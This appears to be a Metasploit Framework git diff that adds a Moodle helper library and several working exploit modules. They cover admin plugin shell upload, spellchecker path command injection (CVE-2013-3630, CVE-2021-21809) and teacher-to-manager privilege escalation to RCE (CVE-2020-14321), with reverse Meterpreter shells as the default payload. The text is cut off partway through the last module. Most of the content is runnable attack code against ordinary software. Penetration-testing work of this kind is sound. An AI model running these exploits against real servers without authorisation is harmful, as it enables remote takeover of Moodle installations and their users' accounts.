+ # performs a moodle login
+ #
+ # @param user [String] Username
+ # @param pass [String] Password
+ # @param timeout [Integer] The maximum number of seconds to wait before the request times out
+ # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise
+ def moodle_login(user, pass, timeout = 20)
+ res = send_request_cgi({
+ 'uri' => moodle_url_login,
+ 'keep_cookies' => true
+ }, timeout)
+ return nil unless res
+
+ res.body =~ /name="logintoken" value="([^"]+)">/
+
+ res = send_request_cgi!({
+ 'method' => 'POST',
+ 'uri' => moodle_url_login,
+ 'vars_post' => moodle_helper_login_post_data(user, pass, Regexp.last_match(1)),
+ 'keep_cookies' => true
+ }, timeout, 20) # typical redirect is 3-5, but it may do more if caching gets messed up on server
+
+ if !res || (res.code != 200) || !res.body.include?('
Dashboard')
+ return nil
+ end
+
+ cookies = cookie_jar.cookies
+ cookie_jar.clear
+ store_valid_credential(user: user, private: pass)
+ return cookies
+ end
+
+ # performs a loginas moodle account impersonation
+ #
+ # @param course_id [String] ID of the course the user is registered in
+ # @param user_id [String] User ID of the user to impersonate
+ # @param session_key [String] session key for the current session
+ # @return [HttpResponse,nil] the HttpResponse object on successful impersonation, nil otherwise
+ def moodle_loginas(course_id, user_id, session_key, timeout = 20)
+ res = send_request_cgi({
+ 'uri' => moodle_url_loginas,
+ 'vars_get' => moodle_helper_loginas_get_data(course_id, user_id, session_key),
+ 'keep_cookies' => true
+ }, timeout)
+ return nil unless res
+
+ # click the 'continue' button
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'course', 'view.php'),
+ 'vars_get' =>
+ {
+ 'id' => course_id
+ },
+ 'keep_cookies' => true
+ })
+ return nil unless res
+
+ res
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/moodle/uris.rb b/lib/msf/core/exploit/remote/http/moodle/uris.rb
new file mode 100644
index 0000000000..c13faba5d5
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle/uris.rb
@@ -0,0 +1,45 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::HTTP::Moodle::URIs
+ # Returns the Moodle Login URL
+ #
+ # @return [String] Moodle Login URL
+ def moodle_url_login
+ normalize_uri(target_uri.path, 'login', 'index.php')
+ end
+
+ # Returns the Moodle Loginas URL
+ #
+ # @return [String] Moodle Login URL
+ def moodle_url_loginas
+ normalize_uri(target_uri.path, 'course', 'loginas.php')
+ end
+
+ # Returns the Moodle AJAX Course Enrollment URL
+ #
+ # @return [String] Moodle AJAX course enrolment URL
+ def moodle_enrol_ajax
+ normalize_uri(target_uri.path, 'enrol', 'manual', 'ajax.php')
+ end
+
+ # Returns the Moodle Ajax Service URL
+ #
+ # @return [String] Moodle Ajax Service URL
+ def moodle_ajax_service
+ normalize_uri(target_uri.path, 'lib', 'ajax', 'service.php')
+ end
+
+ # Returns the Moodle User Home URL
+ #
+ # @return [String] Moodle User Home URL
+ def moodle_user_home
+ normalize_uri(target_uri.path, 'user', 'index.php')
+ end
+
+ # Returns the Moodle Admin Addon Installation URL
+ #
+ # @return [String] Moodle admin addon installation URL
+ def moodle_admin_addon_install
+ normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/moodle/version.rb b/lib/msf/core/exploit/remote/http/moodle/version.rb
new file mode 100644
index 0000000000..6550a0722d
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle/version.rb
@@ -0,0 +1,30 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::HTTP::Moodle::Version
+ # Used to check if the version is correct: must contain at least one dot
+ MOODLE_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'
+
+ # Extracts the Moodle version information from various sources
+ #
+ # @return [String,nil] moodle version if found, nil otherwise
+ def moodle_version
+ # detect version from /lib/upgrade.txt
+ version = moodle_version_helper(normalize_uri(target_uri.path, 'lib', 'upgrade.txt'), /=== #{MOODLE_VERSION_PATTERN} ===/i)
+ return version if version
+
+ nil
+ end
+
+ def moodle_version_helper(url, regex)
+ res = send_request_cgi!({
+ 'method' => 'GET',
+ 'uri' => url
+ }, 3.5)
+ if res
+ match = res.body.match(regex)
+ return match[1] if match
+ end
+
+ nil
+ end
+end
diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb
new file mode 100644
index 0000000000..0a0946249b
--- /dev/null
+++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb
@@ -0,0 +1,140 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ prepend Msf::Exploit::Remote::AutoCheck
+ include Msf::Post::File
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Moodle
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Moodle Admin Shell Upload',
+ 'Description' => %q{
+ This module will generate a plugin which can receive a malicious
+ payload request and upload it to a server running Moodle
+ provided valid admin credentials are used. Then the payload
+ is sent for execution, and the plugin uninstalled.
+
+ You must have an admin account to exploit this vulnerability.
+
+ Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
+ 'h00die' # msf module cleanup and inclusion
+ ],
+ 'References' => [
+ ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
+ ['EDB', '46775'],
+ ['CVE', '2019-11631'] # rejected, its a feature!
+ ],
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Targets' => [['Automatic', {}]],
+ 'Privileged' => false,
+ 'DisclosureDate' => '2019-04-28',
+ 'DefaultTarget' => 0,
+ 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
+ 'Payload' => {
+ 'BadChars' => "'",
+ 'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding
+ },
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
+ }
+ )
+ )
+
+ register_options(
+ [
+ OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
+ OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
+ ]
+ )
+ end
+
+ def create_addon_file
+ # There are syntax errors in creating zip file. So the payload was sent as base64.
+ plugin_file = Rex::Zip::Archive.new
+ header = Rex::Text.rand_text_alpha_upper(4)
+ plugin_name = Rex::Text.rand_text_alpha_lower(8)
+
+ print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")
+
+ path = "#{plugin_name}/version.php"
+ path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"
+ # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
+ plugin_file.add_file(path, "version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")
+ plugin_file.add_file(path2, "")
+ # plugin_file.add_file(path2, "")
+ return plugin_file.pack, header, plugin_name
+ end
+
+ def exec_code(plugin_name, header)
+ # Base64 was encoded in "PHP". This process was sent as "HTTP headers".
+ print_status('Triggering payload')
+ send_request_cgi({
+ 'keep_cookies' => true,
+ 'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),
+ 'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
+ })
+ end
+
+ def check
+ v = moodle_version
+ return CheckCode::Detected('Unable to determine moodle version') if v.nil?
+
+ # This is a feature, not a vuln, so we assume this to work on 3.0.0+
+ # assuming the plugin arch changed before that.
+ # > 3.0, < 3.9
+ version = Rex::Version.new(v)
+ if version > Rex::Version.new('3.0.0')
+ return CheckCode::Appears("Exploitable Moodle version #{v} detected")
+ end
+
+ CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
+ end
+
+ def exploit
+ v = moodle_version
+ fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil?
+
+ version = Rex::Version.new(v)
+ print_status("Authenticating as user: #{datastore['USERNAME']}")
+ cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
+ fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
+ cookies.each do |cookie|
+ cookie_jar.add(cookie)
+ end
+
+ print_good("Authentication was successful with user: #{datastore['USERNAME']}")
+ print_status('Creating addon file')
+ addon_content, header, addon_name = create_addon_file
+ print_status('Uploading addon')
+ file_id, sesskey = upload_addon(addon_name, version, addon_content)
+ fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
+ print_good('Upload Successful. Integrating addon')
+ ret = plugin_integration(sesskey, file_id, addon_name)
+ if ret.nil?
+ fail_with(Failure::NoAccess, 'Install not successful')
+ end
+ exec_code(addon_name, header)
+ print_status('Uninstalling plugin after 5 second delay so payload can change directories')
+ sleep(5)
+ remove_plugin("theme_#{addon_name}", version, sesskey)
+ end
+
+ def on_new_session(_)
+ print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
+ end
+end
diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb
deleted file mode 100644
index a3ef5b923b..0000000000
--- a/modules/exploits/multi/http/moodle_cmd_exec.rb
+++ /dev/null
@@ -1,155 +0,0 @@
-##
-# This module requires Metasploit: https://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'rexml/document'
-
-class MetasploitModule < Msf::Exploit::Remote
- Rank = GoodRanking
-
- include Msf::Exploit::Remote::HttpClient
-
- def initialize(info={})
- super(update_info(info,
- 'Name' => 'Moodle Remote Command Execution',
- 'Description' => %q{
- Moodle allows an authenticated user to define spellcheck settings via the web interface.
- The user can update the spellcheck mechanism to point to a system-installed aspell binary.
- By updating the path for the spellchecker to an arbitrary command, an attacker can run
- arbitrary commands in the context of the web application upon spellchecking requests.
-
- This module also allows an attacker to leverage another privilege escalation vuln.
- Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
- and use this to escalate privileges to that of an admin, allowing the module to pop a shell
- as a previously unprivileged authenticated user.
-
- This module was tested against Moodle version 2.5.2 and 2.2.3.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Brandon Perry ' # Discovery / msf module
- ],
- 'References' =>
- [
- ['CVE', '2013-3630'],
- ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen
- ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
- ],
- 'Payload' =>
- {
- 'Compat' =>
- {
- 'PayloadType' => 'cmd',
- 'RequiredCmd' => 'generic perl ruby telnet python',
- }
- },
- 'Platform' => ['unix', 'linux'],
- 'Arch' => ARCH_CMD,
- 'Targets' => [['Automatic',{}]],
- 'DisclosureDate' => '2013-10-30',
- 'DefaultTarget' => 0
- ))
-
- register_options(
- [
- OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
- OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
- OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
- OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
- ])
- end
-
- def exploit
- init = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, '/index.php')
- })
-
- fail_with(Failure::Unreachable, 'No response received from the target.') unless init
- sess = init.get_cookies
-
- post = {
- 'username' => datastore["USERNAME"],
- 'password' => datastore["PASSWORD"]
- }
-
- print_status("Authenticating as user: " << datastore["USERNAME"])
-
- login = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, '/login/index.php'),
- 'vars_post' => post,
- 'cookie' => sess
- })
-
- if !login or login.code != 303
- fail_with(Failure::NoAccess, "Login failed")
- end
-
- sess = login.get_cookies
-
- print_status("Getting session key to update spellchecker if no session key was specified")
-
- sesskey = ''
- if datastore['SESSKEY'] == ''
- tinymce = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
- 'cookie' => sess
- })
-
- sesskey = tinymce.get_hidden_inputs[1]['sesskey']
- unless sesskey
- fail_with(Failure::UnexpectedReply, "Unable to get proper session key")
- end
- else
- sesskey = datastore['SESSKEY']
- end
-
- post = {
- 'section' => 'editorsettingstinymce',
- 'sesskey' => sesskey,
- 'return' => '',
- 's_editor_tinymce_spellengine' => 'PSpellShell',
- 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
- }
-
- print_status("Updating spellchecker to use the system aspell")
-
- post = {
- 'section' => 'systempaths',
- 'sesskey' => sesskey,
- 'return' => '',
- 's__gdversion' => '2',
- 's__pathtodu' => '/usr/bin/du',
- 's__aspellpath' => payload.encoded,
- 's__pathtodot' => ''
- }
-
- aspell = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
- 'vars_post' => post,
- 'cookie' => sess
- })
-
- spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
-
- print_status("Triggering payload")
-
- resp = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
- 'data' => spellcheck,
- 'ctype' => 'application/json',
- 'cookie' => sess
- })
-
- if !resp or resp.code != 200
- fail_with(Failure::PayloadFailed, "Error triggering payload")
- end
-
- end
-end
diff --git a/modules/exploits/multi/http/moodle_spelling_binary_rce.rb b/modules/exploits/multi/http/moodle_spelling_binary_rce.rb
new file mode 100644
index 0000000000..7117a6b33c
--- /dev/null
+++ b/modules/exploits/multi/http/moodle_spelling_binary_rce.rb
@@ -0,0 +1,174 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'rexml/document'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ prepend Msf::Exploit::Remote::AutoCheck
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Moodle
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Moodle Authenticated Spelling Binary RCE',
+ 'Description' => %q{
+ Moodle allows an authenticated user to define spellcheck settings via the web interface.
+ The user can update the spellcheck mechanism to point to a system-installed aspell binary.
+ By updating the path for the spellchecker to an arbitrary command, an attacker can run
+ arbitrary commands in the context of the web application upon spellchecking requests.
+
+ This module also allows an attacker to leverage another privilege escalation vuln.
+ Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
+ and use this to escalate privileges to that of an admin, allowing the module to pop a shell
+ as a previously unprivileged authenticated user.
+
+ This module was tested against Moodle version 2.5.2 and 2.2.3.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'Brandon Perry ' # Discovery / msf module
+ ],
+ 'References' => [
+ ['CVE', '2013-3630'],
+ ['CVE', '2013-4341'], # XSS
+ ['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen
+ ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
+ ],
+ 'Payload' => {
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'generic perl ruby telnet python'
+ }
+ },
+ 'Platform' => ['unix', 'linux'],
+ 'Arch' => ARCH_CMD,
+ 'Targets' => [['Automatic', {}]],
+ 'DisclosureDate' => '2013-10-30',
+ 'DefaultTarget' => 0,
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
+ }
+ )
+ )
+
+ register_options(
+ [
+ OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
+ OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
+ OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']),
+ OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/'])
+ ]
+ )
+ end
+
+ def check
+ return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
+
+ v = moodle_version
+ return CheckCode::Detected('Unable to determine moodle version') if v.nil?
+ if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
+ return CheckCode::Appears("Exploitable Moodle version #{v} detected")
+ end
+
+ CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
+ end
+
+ def exploit
+ init = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'index.php'),
+ 'keep_cookies' => true
+ })
+
+ fail_with(Failure::Unreachable, 'No response received from the target.') unless init
+
+ print_status('Authenticating as user: ' << datastore['USERNAME'])
+
+ # don't use the lib version of the login since this is older and has different parameters
+ login = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
+ 'vars_post' => {
+ 'username' => datastore['USERNAME'],
+ 'password' => datastore['PASSWORD']
+ },
+ 'keep_cookies' => true
+ })
+
+ if !login || (login.code != 303)
+ fail_with(Failure::NoAccess, 'Login failed')
+ end
+
+ print_status('Getting session key to update spellchecker if no session key was specified')
+
+ sesskey = ''
+ if datastore['SESSKEY'] == ''
+ tinymce = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
+ 'vars_get' => {
+ 'section' => 'editorsettingstinymce'
+ },
+ 'keep_cookies' => true
+ })
+
+ sesskey = tinymce.get_hidden_inputs[1]['sesskey']
+ unless sesskey
+ fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
+ end
+ else
+ sesskey = datastore['SESSKEY']
+ end
+
+ # This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the
+ # time being since it may be the default, or it may just need a send_request_cgi added to actually
+ # accomplish the goal.
+ # post = {
+ # 'section' => 'editorsettingstinymce',
+ # 'sesskey' => sesskey,
+ # 'return' => '',
+ # 's_editor_tinymce_spellengine' => 'PSpellShell',
+ # 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
+ # }
+
+ print_status('Updating spellchecker to use the system aspell')
+
+ send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
+ 'vars_post' => {
+ 'section' => 'systempaths',
+ 'sesskey' => sesskey,
+ 'return' => '',
+ 's__gdversion' => '2',
+ 's__pathtodu' => '/usr/bin/du',
+ 's__aspellpath' => payload.encoded,
+ 's__pathtodot' => ''
+ },
+ 'keep_cookies' => true
+ })
+
+ spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
+
+ print_status('Triggering payload')
+
+ resp = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
+ 'data' => spellcheck,
+ 'ctype' => 'application/json',
+ 'keep_cookies' => true
+ })
+
+ if !resp || (resp.code != 200)
+ fail_with(Failure::PayloadFailed, 'Error triggering payload')
+ end
+ end
+end
diff --git a/modules/exploits/multi/http/moodle_spelling_path_rce.rb b/modules/exploits/multi/http/moodle_spelling_path_rce.rb
new file mode 100644
index 0000000000..12f08e1594
--- /dev/null
+++ b/modules/exploits/multi/http/moodle_spelling_path_rce.rb
@@ -0,0 +1,190 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ prepend Msf::Exploit::Remote::AutoCheck
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Moodle
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',
+ 'Description' => %q{
+ Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
+ An administrator can update the aspell path to include a command injection. This is extremely
+ similar to CVE-2013-3630, just using a different variable.
+
+ This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'Adam Reiser', # Discovery
+ 'h00die' # msf module
+ ],
+ 'References' => [
+ ['CVE', '2021-21809'],
+ ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
+ ],
+ 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
+ 'Payload' => {
+ 'BadChars' => "'"
+ },
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Targets' => [['Automatic', {}]],
+ 'DisclosureDate' => '2021-06-22',
+ 'DefaultTarget' => 0,
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
+ }
+ )
+ )
+
+ register_options(
+ [
+ OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
+ OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
+ ]
+ )
+ end
+
+ def change_aspellpath(value = '')
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
+ 'vars_get' =>
+ {
+ 'section' => 'systempaths'
+ },
+ 'keep_cookies' => true
+ })
+ fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
+ res.body =~ /sesskey":"([^"]+)"/
+ send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
+ 'vars_get' =>
+ {
+ 'section' => 'systempaths'
+ },
+ 'vars_post' =>
+ {
+ 'section' => 'systempaths',
+ 'action' => 'save-settings',
+ 'sesskey' => Regexp.last_match(1),
+ 'return' => '',
+ 's__pathtophp' => '',
+ 's__pathtodu' => '',
+ 's__aspellpath' => value,
+ 's__pathtodot' => '',
+ 's__pathtogs' => '/usr/bin/gs',
+ 's__pathtopython' => ''
+ },
+ 'keep_cookies' => true
+ })
+ end
+
+ def set_spellchecker(checker = '')
+ # '' is None in the gui, and is the default
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
+ 'vars_get' =>
+ {
+ 'section' => 'tinymcespellcheckersettings'
+ },
+ 'keep_cookies' => true
+ })
+ fail_with(Failure::Unreachable, 'No response received from the target.') unless res
+ res.body =~ /sesskey":"([^"]+)"/
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
+ 'vars_get' =>
+ {
+ 'section' => 'tinymcespellcheckersettings'
+ },
+ 'vars_post' =>
+ {
+ 'section' => 'tinymcespellcheckersettings',
+ 'action' => 'save-settings',
+ 'sesskey' => Regexp.last_match(1),
+ 'return' => '',
+ 's_tinymce_spellchecker_spellengine' => checker,
+ 's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default
+ },
+ 'keep_cookies' => true
+ })
+
+ fail_with(Failure::Unreachable, 'No response received from the target.') unless res
+ end
+
+ def check
+ return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
+
+ v = moodle_version
+ return CheckCode::Detected('Unable to determine moodle version') if v.nil?
+ # according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation
+ # so maybe this is not going to get patched? Assuming 3.0.0+
+ if Rex::Version.new(v) > Rex::Version.new('3.0.0')
+ return CheckCode::Appears("Exploitable Moodle version #{v} detected")
+ end
+
+ CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
+ end
+
+ def exploit
+ print_status("Authenticating as user: #{datastore['USERNAME']}")
+ cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
+ fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
+ cookies.each do |cookie|
+ cookie_jar.add(cookie)
+ end
+ print_status('Updating aspell path')
+ # Site administration, Server, Server, System paths
+ change_aspellpath("`php -r \"#{payload.encoded}\" &`")
+
+ print_status('Changing spell engine to PSpellShell')
+ set_spellchecker('PSpellShell')
+ # Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
+ spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
+
+ print_status('Triggering payload')
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),
+ 'data' => spellcheck,
+ 'ctype' => 'application/json',
+ 'keep_cookies' => true
+ })
+
+ fail_with(Failure::Unreachable, 'Error triggering payload') if res
+ end
+
+ # prefer cleanup over on_session since we may have changed things, regardless of successful exploit
+ def cleanup
+ print_status('Sleeping 5 seconds before cleanup')
+ Rex.sleep(5)
+ print_status("Authenticating as user: #{datastore['USERNAME']}")
+ cookie_jar.clear # clear cookies to prevent timeouts
+ cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
+ if cookies.nil? || cookies.empty?
+ print_bad('Failed login during cleanup')
+ else
+ cookies.each do |cookie|
+ cookie_jar.add(cookie)
+ end
+ print_status('Removing RCE from settings')
+ change_aspellpath
+ set_spellchecker
+ end
+ super
+ end
+end
diff --git a/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb
new file mode 100644
index 0000000000..817e240207
--- /dev/null
+++ b/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb
@@ -0,0 +1,265 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = GoodRanking # due to needing a lot of things to go right
+
+ prepend Msf::Exploit::Remote::AutoCheck
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Moodle
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Moodle Teacher Enrollment Privilege Escalation to RCE',
+ 'Description' => %q{
+ Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions
+ allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher
+ to add themselves as a manager to their own class. They can then add any other users, and thus
+ look to add someone with manager privileges on the system (not just the class). After
+ adding a system manager, a 'loginas' feature is used to access their account. Next the system
+ is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme
+ is uploaded and creates an RCE.
+
+ If all of that is a success, we revert permissions for managers to system default and
+ remove our malicoius theme. Manual cleanup to remove students from the class is required.
+
+ This module was tested against Moodle version 3.9
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'HoangKien1020', # Discovery, POC
+ 'lanz', # edb
+ 'h00die' # msf module
+ ],
+ 'References' => [
+ ['CVE', '2020-14321'],
+ ['URL', 'https://moodle.org/mod/forum/discuss.php?d=407393'],
+ ['URL', 'https://github.com/HoangKien1020/CVE-2020-14321'],
+ ['EDB', '50180']
+ ],
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Targets' => [['Automatic', {}]],
+ 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
+ 'DisclosureDate' => '2020-07-20',
+ 'Payload' => {
+ 'BadChars' => "'",
+ 'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding
+ },
+ 'DefaultTarget' => 0,
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
+ }
+ )
+ )
+
+ register_options(
+ [
+ OptString.new('USERNAME', [ true, 'Username to authenticate with', '']),
+ OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
+ OptInt.new('MAXUSERS', [true, 'Maximum amount of users to add to course looking for admin', 100])
+ ]
+ )
+ end
+
+ def get_user_info
+ print_status('Retrieving user info')
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'user', 'profile.php'),
+ 'keep_cookies' => true
+ })
+ fail_with(Failure::Unreachable, 'Error retrieving user id') unless res
+ # user id
+ res.body =~ /id=(\d)/
+ userid = Regexp.last_match(1)
+ # course id
+ res.body =~ /course=(\d)/
+ courseid = Regexp.last_match(1)
+ # session key
+ res.body =~ /"sesskey":"(.*?)"/
+ sesskey = Regexp.last_match(1)
+ return userid, courseid, sesskey
+ end
+
+ def get_course_managers(context_id)
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'user', 'index.php'),
+ 'vars_get' =>
+ {
+ 'roleid' => '1',
+ 'contextid' => context_id
+ },
+ 'keep_cookies' => true
+ })
+ fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
